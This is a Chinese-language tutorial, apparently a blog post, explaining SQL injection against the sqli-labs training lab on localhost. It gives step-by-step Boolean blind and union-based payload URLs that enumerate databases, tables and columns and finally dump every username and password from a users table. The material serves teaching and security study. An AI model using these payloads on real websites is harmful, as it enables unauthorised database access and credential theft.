SQL注入漏洞详解

本文深入解析SQL注入原理,包括如何判断网站是否存在SQL注入漏洞,详细介绍了Boolean盲注和union注入两种常见攻击方式,并演示了如何利用这些技术获取数据库信息。

判断是否存在SQL注入

一个网站有那么多的页面,那么我们如何判断其中是否存在SQL注入的页面呢?我们可以用网站漏洞扫描工具进行扫描,常见的网站漏洞扫描工具有 AWVS、AppScan、OWASP-ZAP、Nessus 等。

 

但是在很多时候,还是需要我们自己手动去判断是否存在SQL注入漏洞。下面列举常见的判断SQL注入的方式。但是目前大部分网站都对此有防御,真正发现网页存在SQL注入漏洞,还得靠技术和经验了。

二话不说,先加单引号、双引号、单括号、双括号等看看是否报错,如果报错就肯定存在SQL注入漏洞了。

还有在URL后面加and 1=1 、 and 1=2看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。

 

一:Boolean盲注

盲注,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的信息,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到了执行。

我们来看一个例子:这是sqli的Less-5,我自己对源码稍微改动了一下,使得页面会显示执行的sql语句

通过输入 http://127.0.0.1/sqli/Less-1/?id=1   我们得到了下面的页面

 

然后输入 http://127.0.0.1/sqli/Less-5/?id=-1   我们得到下面的页面

 

当我们输入  http://127.0.0.1/sqli/Less-5/?id=1'  我们得到下面的页面

 

 

由此可以看出代码把 id 当成了字符来处理,而且后面还有一个限制显示的行数  limit 0,1 。当我们输入的语句正确时,就显示You are in....   当我们输入的语句错误时,就不显示任何数据。当我们的语句有语法错误时,就报出 SQL 语句错误。

 

于是,我们可以推断出页面的源代码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    //sql查询语句$result=mysql_query($sql);$row = mysql_fetch_array($result);  if($row){                    //如果查询到数据          echo 'You are in...........';    }else{                      //如果没查询到数据       print_r(mysql_error());       }

 

于是我们可以通过构造一些判断语句,通过页面是否显示来证实我们的猜想。盲注一般用到的一些函数:ascii() 、substr() 、length(),exists()、concat()等

 

1:判断数据库类型

 

这个例子中出错页面已经告诉了我们此数据库是MySQL,那么当我们不知道是啥数据库的时候,如何分辨是哪个数据库呢?

 

虽然绝大多数数据库的大部分SQL语句都类似,但是每个数据库还是有自己特殊的表的。通过表我们可以分辨是哪些数据库。

 

MySQL数据库的特有的表是 information_schema.tables  , access数据库特有的表是 msysobjects 、SQLServer 数据库特有的表是 sysobjects 。那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库

//判断是否是 Mysql数据库http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) # //判断是否是 access数据库http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #//判断是否是 Sqlserver数据库http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #

对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

 

information_schema.tables 存储了数据表的元数据信息,下面对常用的字段进行介绍:

 

table_schema: 记录数据库名;

table_name: 记录数据表名;

table_rows: 关于表的粗略行估计;

data_length : 记录表的大小(单位字节);

 

2:判断当前数据库名(以下方法不适用于access和SQL Server数据库)

1:判断当前数据库的长度,利用二分法http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5   //正常显示http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10   //不显示任何数据http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7   //正常显示http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8   //不显示任何数据 大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8 2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断//判断数据库的第一个字符http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100//判断数据库的第二个字符http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 ...........由此可以判断出当前数据库为 security

 

3:判断当前数据库中的表

http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin)   //猜测当前数据库中是否存在admin表1:判断当前数据库中表的个数// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #2:判断每个表的长度//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=63:判断每个表的每个字符的ascii值//判断第一个表的第一个字符的ascii值http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # //判断第一个表的第二个字符的ascii值http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #.........由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

 

4. 判断表中的字段

http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin)   //如果已经证实了存在admin表,那么猜测是否存在username字段1:判断表中字段的个数//判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #2:判断字段的长度//判断第一个字段的长度http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 //判断第二个字段的长度http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>53:判断字段的ascii值//判断第一个字段的第一个字符的长度http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 //判断第一个字段的第二个字符的长度http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100...........由此可判断出users表中存在 id、username、password 字段

 

5.判断字段中的数据

我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据 1: 判断数据的长度// 判断id字段的第一个数据的长度http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 // 判断id字段的第二个数据的长度http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>52:判断数据的ascii值// 判断id字段的第一个数据的第一个字符的ascii值http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 // 判断id字段的第一个数据的第二个字符的ascii值http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100

 

二:union 注入

union联合查询适用于有显示列的注入。

我们可以通过order by来判断当前表的列数。最后可得知,当前表有3列

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 #

我们可以通过 union 联合查询来知道显示的列数

127.0.0.1/sqli/Less-1/?id=1' union select 1 ,2 ,3 #

 

咦,这里为啥不显示我们联合查询的呢?因为这个页面只显示一行数据,所以我们可以用 and 1=2 把前面的条件给否定了,或者我们直接把前面 id=1 改成 id =-1 ,在后面的代码中,都是将 id=-1进行注入

 

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 # http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 #

这样,我们联合查询的就显示出来了。可知,第2列和第3列是显示列。那我们就可以在这两个位置插入一些函数了。

 

我们可以通过这些函数获得该数据库的一些重要的信息

 

version() :数据库的版本     database() :当前所在的数据库    @@basedir :  数据库的安装目录

 

@@datadir :数据库文件的存放目录     user() :数据库的用户   current_user() : 当前用户名

 

system_user() : 系统用户名     session_user() :连接到数据库的用户名

 

  •  
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,database(),@@basedir #

  •  
http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,@@datadir,current_user() #

我们还可以通过union注入获得更多的信息。

// 获得所有的数据库 http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(schema_name),3 from information_schema.schemata# // 获得所有的表http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(table_name),3 from information_schema.tables#// 获得所有的列http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(column_name),3 from information_schema.columns# #获取当前数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(password),3 from users%23

 

当我们已知当前数据库名security,我们就可以通过下面的语句得到当前数据库的所有的表

  •  
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

 

我们知道了当前数据库中存在了四个表,那么我们可以通过下面的语句知道每一个表中的列

  •  
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

如下,我们可以知道users表中有id,username,password三列

 

我们知道存在users表,又知道表中有 id ,username, password三列,那么我们可以构造如下语句

  •  
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users #

我们就把users表中的所有数据都给爆出来了

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值